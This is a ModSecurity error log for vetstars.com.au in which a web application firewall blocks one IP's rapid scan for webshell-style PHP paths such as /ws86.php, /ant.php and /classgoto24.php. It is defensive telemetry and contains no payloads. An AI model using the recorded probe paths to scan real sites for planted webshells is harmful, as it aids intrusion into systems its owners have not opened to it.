[Wed Apr 01 02:50:02.579579 2026] [:error] [pid 19113:tid 19119] [client 68.221.68.130:22844] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/to.php"] [unique_id "acwXWvXQdXnDyA4XYbYFCwAAAQQ"]
[Wed Apr 01 02:50:02.674219 2026] [:error] [pid 19113:tid 19137] [client 68.221.68.130:22726] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/to.php"] [unique_id "acwXWvXQdXnDyA4XYbYFDAAAARY"]
[Wed Apr 01 02:50:03.062270 2026] [:error] [pid 19113:tid 19131] [client 68.221.68.130:22794] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/to.php"] [unique_id "acwXW_XQdXnDyA4XYbYFDwAAARA"]
[Wed Apr 01 02:50:03.163842 2026] [:error] [pid 19113:tid 19120] [client 68.221.68.130:22967] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/to.php"] [unique_id "acwXW_XQdXnDyA4XYbYFEQAAAQU"]
[Wed Apr 01 02:50:03.543164 2026] [:error] [pid 52594:tid 52703] [client 68.221.68.130:22887] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/to.php"] [unique_id "acwXW0e53suVMS91e0RH9AAAAMI"]
[Wed Apr 01 02:50:03.673297 2026] [:error] [pid 52594:tid 52701] [client 68.221.68.130:22898] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/to.php"] [unique_id "acwXW0e53suVMS91e0RH9QAAAMA"]
[Wed Apr 01 02:50:04.025697 2026] [:error] [pid 19113:tid 19128] [client 68.221.68.130:22809] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/to.php"] [unique_id "acwXXPXQdXnDyA4XYbYFGAAAAQ0"]
[Wed Apr 01 02:50:04.152277 2026] [:error] [pid 52594:tid 52725] [client 68.221.68.130:22733] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/to.php"] [unique_id "acwXXEe53suVMS91e0RH9wAAANg"]
[Wed Apr 01 02:50:04.513927 2026] [:error] [pid 52593:tid 52687] [client 68.221.68.130:22953] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acwXXOKOtxqtcDhRtD-iRAAAAI0"]
[Wed Apr 01 02:50:04.638760 2026] [:error] [pid 52592:tid 52666] [client 68.221.68.130:22840] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acwXXD-61iqkPKUhqlb9cwAAABM"]
[Wed Apr 01 02:50:04.994830 2026] [:error] [pid 52594:tid 52708] [client 68.221.68.130:22905] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acwXXEe53suVMS91e0RH_QAAAMc"]
[Wed Apr 01 02:50:05.121280 2026] [:error] [pid 52592:tid 52655] [client 68.221.68.130:22893] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acwXXT-61iqkPKUhqlb9dQAAAAg"]
[Wed Apr 01 02:50:05.492588 2026] [:error] [pid 52593:tid 52678] [client 68.221.68.130:22802] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acwXXeKOtxqtcDhRtD-iSAAAAIQ"]
[Wed Apr 01 02:50:05.599750 2026] [:error] [pid 52594:tid 52702] [client 68.221.68.130:22830] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acwXXUe53suVMS91e0RIAQAAAME"]
[Wed Apr 01 02:50:05.976545 2026] [:error] [pid 52594:tid 52717] [client 68.221.68.130:22900] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acwXXUe53suVMS91e0RIBAAAANA"]
[Wed Apr 01 02:50:06.079631 2026] [:error] [pid 52593:tid 52688] [client 68.221.68.130:22957] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acwXXuKOtxqtcDhRtD-iSQAAAI4"]
[Wed Apr 01 02:50:06.455817 2026] [:error] [pid 52593:tid 52693] [client 68.221.68.130:22872] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "acwXXuKOtxqtcDhRtD-iSgAAAJM"]
[Wed Apr 01 02:50:06.558820 2026] [:error] [pid 52594:tid 52705] [client 68.221.68.130:22836] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "acwXXke53suVMS91e0RICwAAAMQ"]
[Wed Apr 01 02:50:06.933053 2026] [:error] [pid 52594:tid 52712] [client 68.221.68.130:22902] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "acwXXke53suVMS91e0RIDAAAAMs"]
[Wed Apr 01 02:50:07.036536 2026] [:error] [pid 52593:tid 52686] [client 68.221.68.130:22897] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "acwXX-KOtxqtcDhRtD-iUAAAAIw"]
[Wed Apr 01 02:50:07.416521 2026] [:error] [pid 52594:tid 52716] [client 68.221.68.130:22964] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "acwXX0e53suVMS91e0RIDgAAAM8"]
[Wed Apr 01 02:50:07.515111 2026] [:error] [pid 52836:tid 52907] [client 68.221.68.130:22720] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "acwXX5jk_YTY8bXnEz5wIQAAAE8"]
[Wed Apr 01 02:50:07.899011 2026] [:error] [pid 52593:tid 52697] [client 68.221.68.130:22752] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "acwXX-KOtxqtcDhRtD-iUwAAAJc"]
[Wed Apr 01 02:50:07.993735 2026] [:error] [pid 19113:tid 19123] [client 68.221.68.130:22959] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "acwXX_XQdXnDyA4XYbYFGwAAAQg"]
[Wed Apr 01 02:50:08.393745 2026] [:error] [pid 52592:tid 52658] [client 68.221.68.130:22895] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "acwXYD-61iqkPKUhqlb9eAAAAAs"]
[Wed Apr 01 02:50:08.484116 2026] [:error] [pid 52836:tid 52909] [client 68.221.68.130:22884] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "acwXYJjk_YTY8bXnEz5wJQAAAFE"]
[Wed Apr 01 02:50:08.877198 2026] [:error] [pid 19113:tid 19127] [client 68.221.68.130:22759] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "acwXYPXQdXnDyA4XYbYFHwAAAQw"]
[Wed Apr 01 02:50:08.963373 2026] [:error] [pid 19113:tid 19120] [client 68.221.68.130:22941] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "acwXYPXQdXnDyA4XYbYFIAAAAQU"]
[Wed Apr 01 02:50:09.359574 2026] [:error] [pid 52592:tid 52669] [client 68.221.68.130:22738] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "acwXYT-61iqkPKUhqlb9egAAABY"]
[Wed Apr 01 02:50:09.443389 2026] [:error] [pid 19113:tid 19126] [client 68.221.68.130:22744] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "acwXYfXQdXnDyA4XYbYFIwAAAQs"]
[Wed Apr 01 02:50:09.859285 2026] [:error] [pid 52593:tid 52683] [client 68.221.68.130:22735] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "acwXYeKOtxqtcDhRtD-iWAAAAIk"]
[Wed Apr 01 02:50:09.923956 2026] [:error] [pid 52592:tid 52647] [client 68.221.68.130:22743] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "acwXYT-61iqkPKUhqlb9fAAAAAA"]
[Wed Apr 01 02:50:10.344842 2026] [:error] [pid 52592:tid 52650] [client 68.221.68.130:22901] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "acwXYj-61iqkPKUhqlb9fwAAAAM"]
[Wed Apr 01 02:50:10.408326 2026] [:error] [pid 52593:tid 52698] [client 68.221.68.130:22814] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "acwXYuKOtxqtcDhRtD-iXAAAAJg"]
[Wed Apr 01 02:50:10.824885 2026] [:error] [pid 52594:tid 52708] [client 68.221.68.130:22826] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "acwXYke53suVMS91e0RIFgAAAMc"]
[Wed Apr 01 02:50:10.916886 2026] [:error] [pid 52592:tid 52667] [client 68.221.68.130:22730] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "acwXYj-61iqkPKUhqlb9gwAAABQ"]
[Wed Apr 01 02:50:11.305194 2026] [:error] [pid 52593:tid 52695] [client 68.221.68.130:22824] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "acwXY-KOtxqtcDhRtD-iXgAAAJU"]
[Wed Apr 01 02:50:11.399359 2026] [:error] [pid 52592:tid 52648] [client 68.221.68.130:22840] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "acwXYz-61iqkPKUhqlb9hgAAAAE"]
[Wed Apr 01 02:50:11.783470 2026] [:error] [pid 52836:tid 52908] [client 68.221.68.130:22807] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "acwXY5jk_YTY8bXnEz5wJgAAAFA"]
[Wed Apr 01 02:50:11.876654 2026] [:error] [pid 52836:tid 52899] [client 68.221.68.130:22908] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "acwXY5jk_YTY8bXnEz5wKAAAAEc"]
[Wed Apr 01 02:50:12.264561 2026] [:error] [pid 19113:tid 19128] [client 68.221.68.130:22779] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xda.php"] [unique_id "acwXZPXQdXnDyA4XYbYFKAAAAQ0"]
[Wed Apr 01 02:50:12.357273 2026] [:error] [pid 52592:tid 52661] [client 68.221.68.130:23032] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xda.php"] [unique_id "acwXZD-61iqkPKUhqlb9iwAAAA4"]
[Wed Apr 01 02:50:12.747680 2026] [:error] [pid 52592:tid 52671] [client 68.221.68.130:22829] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xda.php"] [unique_id "acwXZD-61iqkPKUhqlb9jgAAABg"]
[Wed Apr 01 02:50:12.835554 2026] [:error] [pid 52594:tid 52718] [client 68.221.68.130:22849] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xda.php"] [unique_id "acwXZEe53suVMS91e0RIGgAAANE"]
[Wed Apr 01 02:50:13.228175 2026] [:error] [pid 52592:tid 52667] [client 68.221.68.130:22803] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xda.php"] [unique_id "acwXZT-61iqkPKUhqlb9kQAAABQ"]
[Wed Apr 01 02:50:13.315279 2026] [:error] [pid 52592:tid 52664] [client 68.221.68.130:22778] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xda.php"] [unique_id "acwXZT-61iqkPKUhqlb9kgAAABE"]
[Wed Apr 01 02:50:13.707924 2026] [:error] [pid 19113:tid 19122] [client 68.221.68.130:22835] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xda.php"] [unique_id "acwXZfXQdXnDyA4XYbYFLwAAAQc"]
[Wed Apr 01 02:50:13.794829 2026] [:error] [pid 52592:tid 52660] [client 68.221.68.130:22896] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xda.php"] [unique_id "acwXZT-61iqkPKUhqlb9lAAAAA0"]
[Wed Apr 01 02:50:14.189343 2026] [:error] [pid 52593:tid 52676] [client 68.221.68.130:22909] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classgoto24.php"] [unique_id "acwXZuKOtxqtcDhRtD-iYgAAAII"]
[Wed Apr 01 02:50:14.275388 2026] [:error] [pid 52592:tid 52670] [client 68.221.68.130:22760] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classgoto24.php"] [unique_id "acwXZj-61iqkPKUhqlb9lwAAABc"]
[Wed Apr 01 02:50:14.666412 2026] [:error] [pid 52592:tid 52648] [client 68.221.68.130:22820] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classgoto24.php"] [unique_id "acwXZj-61iqkPKUhqlb9mQAAAAE"]
[Wed Apr 01 02:50:14.756635 2026] [:error] [pid 52592:tid 52652] [client 68.221.68.130:22791] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classgoto24.php"] [unique_id "acwXZj-61iqkPKUhqlb9mwAAAAU"]
[Wed Apr 01 02:50:15.147665 2026] [:error] [pid 52593:tid 52675] [client 68.221.68.130:22656] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classgoto24.php"] [unique_id "acwXZ-KOtxqtcDhRtD-iZAAAAIE"]
[Wed Apr 01 02:50:15.267583 2026] [:error] [pid 52592:tid 52663] [client 68.221.68.130:22815] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classgoto24.php"] [unique_id "acwXZz-61iqkPKUhqlb9nAAAABA"]
[Wed Apr 01 02:50:15.628281 2026] [:error] [pid 52593:tid 52678] [client 68.221.68.130:22833] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classgoto24.php"] [unique_id "acwXZ-KOtxqtcDhRtD-iagAAAIQ"]
[Wed Apr 01 02:50:15.749022 2026] [:error] [pid 52592:tid 52668] [client 68.221.68.130:22728] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classgoto24.php"] [unique_id "acwXZz-61iqkPKUhqlb9oAAAABU"]
[Wed Apr 01 02:50:16.107669 2026] [:error] [pid 52592:tid 52664] [client 68.221.68.130:22808] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "acwXaD-61iqkPKUhqlb9pwAAABE"]
